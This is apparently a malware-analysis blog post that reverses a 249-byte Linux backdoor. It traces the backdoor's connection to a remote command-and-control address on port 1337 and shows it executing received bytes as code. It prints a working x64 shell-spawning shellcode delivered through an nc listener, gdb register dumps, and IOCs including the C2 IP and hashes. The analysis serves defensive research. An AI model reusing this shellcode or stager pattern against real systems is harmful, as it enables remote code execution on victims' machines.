Reversing a real-world 249 bytes backdoor!
A wild backdoor has appeared. Press 1 to ptrace :D
While going though some vulnerable servers I was able to find a backdoor present that is only 249 bytes long. The backdoor’s md5sum is 93363683dcf1ccc4db296fa5fde69b71 and is undetected on virustotal and other threat intelligence websites. Reversing this binary gave us insights on how malware authors are using techniques to make their backdoors undetectable and hard to analyze or even reverse engineer. Here’s the sample.
lionaneesh@d4rkc0de:~$ file pay.bin
pay.bin: ELF 64-bit LSB executable, x86–64, version 1 (SYSV), statically linked, corrupted section header size
lionaneesh@d4rkc0de:~$
The binary has stripped all debugging symbols and has a corrupted header. GDB is not able to find the entry point to this binary.
lionaneesh@d4rkc0de:~$ gdb pay.bin
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from pay.bin...(no debugging symbols found)...done.
gdb-peda$ info file
Symbols from "/home/lionaneesh/pay.bin".
gdb-peda$ info functions
All defined functions:
gdb-peda$ break *_start
No symbol table is loaded. Use the "file" command.
gdb-peda$
No straight forward way to actually go and disassemble the binary. Radare2 to the rescue, it manages to find the entry point for us.
lionaneesh@d4rkc0de:~/backdoors$ r2 pay.bin
[0x00400078]> ii
[Imports]0 imports
[0x00400078]> ie
[Entrypoints]
addr=0x00400078 off=0x00000078 baddr=0x004000001 entrypoints
The binary start executing at 0x00400078. The binary is so small in size, which suggests its been handwritten in assemble. So such compiler artifacts or anything of that sorts exists.
Using strace we can easily find out what system calls its executing:lionaneesh@d4rkc0de:~/backdoors$ strace ./pay.bin
execve(“./pay.bin”, [“./pay.bin”], [/* 39 vars */]) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC|0x1000, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0) = 0x7fee0b81d000
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(1337), sin_addr=inet_addr(“104.248.237.194”)}, 16) = -1 ECONNREFUSED (Connection refused)
nanosleep({5, 0},
Apparently it tries to make a socket and connect to the IP address: 104.248.237.194 on port number 1337. This ip address is owned by Digital Ocean. To debug further lets setup an IPtables rule, so that all the traffic going to that IP is redirected to localhost.
sudo iptables -t nat -A OUTPUT -p all -d 104.248.237.194 -j DNAT --to-destination 127.0.0.1
Setup a listener on port 1337:
nc -lvp 31337
Lets try to run the binary and see what it does:
lionaneesh@d4rkc0de:~/dirsearch/DirBuster$ nc -lvp 1337
Listening on [0.0.0.0] (family 0, port 1337)
Connection from [d4rkc0de.com] port 1337 [tcp/*] accepted (family 2, sport 44170)
AAAA
We get a connection, lets send a couple of random bytes.
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x5
RBX: 0x0
RCX: 0x4000f2 --> 0xe6ffef78c08548
RDX: 0x1000
RSI: 0x7ffff7ffa000 --> 0xa41414141 ('AAAA\n')
RDI: 0x3
RBP: 0x0
RSP: 0x7fffffffe110 --> 0x1
RIP: 0x7ffff7ffa000 --> 0xa41414141 ('AAAA\n')
R8 : 0x0
R9 : 0xa ('\n')
R10: 0x22 ('"')
R11: 0x246
R12: 0x0
R13: 0x0
R14: 0x0
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
=> 0x7ffff7ffa000: rex.B
0x7ffff7ffa001: rex.B
0x7ffff7ffa002: rex.B
0x7ffff7ffa003: or al,BYTE PTR [r8]
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe110 --> 0x1
0008| 0x7fffffffe118 --> 0x7fffffffe3d6 ("/home/lionaneesh/pay.bin")
0016| 0x7fffffffe120 --> 0x0
0024| 0x7fffffffe128 --> 0x7fffffffe3ef ("XDG_SESSION_ID=144197")
0032| 0x7fffffffe130 --> 0x7fffffffe405 ("rvm_bin_path=/home/lionaneesh/.rvm/bin")
0040| 0x7fffffffe138 --> 0x7fffffffe42c ("GEM_HOME=/home/lionaneesh/.rvm/gems/ruby-2.4.2")
0048| 0x7fffffffe140 --> 0x7fffffffe45b ("TERM=screen")
0056| 0x7fffffffe148 --> 0x7fffffffe467 ("SHELL=/bin/bash")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00007ffff7ffa000 in ?? ()
gdb-peda$
We see that the input we provided is written to the mmapped segment and execution is passed on to it. Currently we get a segmentation fault as AAAA is not a valid opcode. Lets try to give it a known shellcode for x64:
lionaneesh@d4rkc0de:~/dirsearch/DirBuster$ python -c “print ‘\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05’” | nc -lvp 1337
Listening on [0.0.0.0] (family 0, port 1337)
The program jumps to our input at 0x4000f7:
[ — — — — — — — — — — — — — — — — — registers — — — — — — — — — — — — — — — — — -]
RAX: 0x1c
RBX: 0x0
RCX: 0x4000f2 → 0xe6ffef78c08548
RDX: 0x1000
RSI: 0x7ffff7ffa000 → 0x91969dd1bb48c031
RDI: 0x3
RBP: 0x0
RSP: 0x7fffffffe110 → 0x1
RIP: 0x4000f7 → 0xe6ff
R8 : 0x0
R9 : 0xa (‘\n’)
R10: 0x22 (‘“‘)
R11: 0x246
R12: 0x0
R13: 0x0
R14: 0x0
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[ — — — — — — — — — — — — — — — — — — -code — — — — — — — — — — — — — — — — — — -]
0x4000f0: syscall
0x4000f2: test rax,rax
0x4000f5: js 0x4000e6
=> 0x4000f7: jmp rsi
| 0x4000f9: add BYTE PTR [rax],al
| 0x4000fb: add BYTE PTR [rax],al
| 0x4000fd: add BYTE PTR [rax],al
| 0x4000ff: add BYTE PTR [rax],al
|-> 0x7ffff7ffa000: xor eax,eax
0x7ffff7ffa002: movabs rbx,0xff978cd091969dd1
0x7ffff7ffa00c: neg rbx
0x7ffff7ffa00f: push rbx
JUMP is taken
[ — — — — — — — — — — — — — — — — — — stack — — — — — — — — — — — — — — — — — — -]
0000| 0x7fffffffe110 → 0x1
0008| 0x7fffffffe118 → 0x7fffffffe3d6 (“/home/lionaneesh/pay.bin”)
0016| 0x7fffffffe120 → 0x0
0024| 0x7fffffffe128 → 0x7fffffffe3ef (“XDG_SESSION_ID=144197”)
0032| 0x7fffffffe130 → 0x7fffffffe405 (“rvm_bin_path=/home/lionaneesh/.rvm/bin”)
0040| 0x7fffffffe138 → 0x7fffffffe42c (“GEM_HOME=/home/lionaneesh/.rvm/gems/ruby-2.4.2”)
0048| 0x7fffffffe140 → 0x7fffffffe45b (“TERM=screen”)
0056| 0x7fffffffe148 → 0x7fffffffe467 (“SHELL=/bin/bash”)
[ — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — ]
Legend: code, data, rodata, valueBreakpoint 3, 0x00000000004000f7 in ?? ()
gdb-peda$
We see our payload is there, let continue:
gdb-peda$ c
Continuing.
process 14586 is executing new program: /bin/dash
Epic! This 249 byte backdoor can run any shellcode we give it. The attackers can deploy it on an offshore IP address and execute arbitrary instructions on the victim’s box.
IOCs:
- 104.248.237.194
- 1337
- 93363683dcf1ccc4db296fa5fde69b71 (md5)
- 0d4570ae80f9fca2d4b68a7f4b88dd0eb2df3573 (sha-1)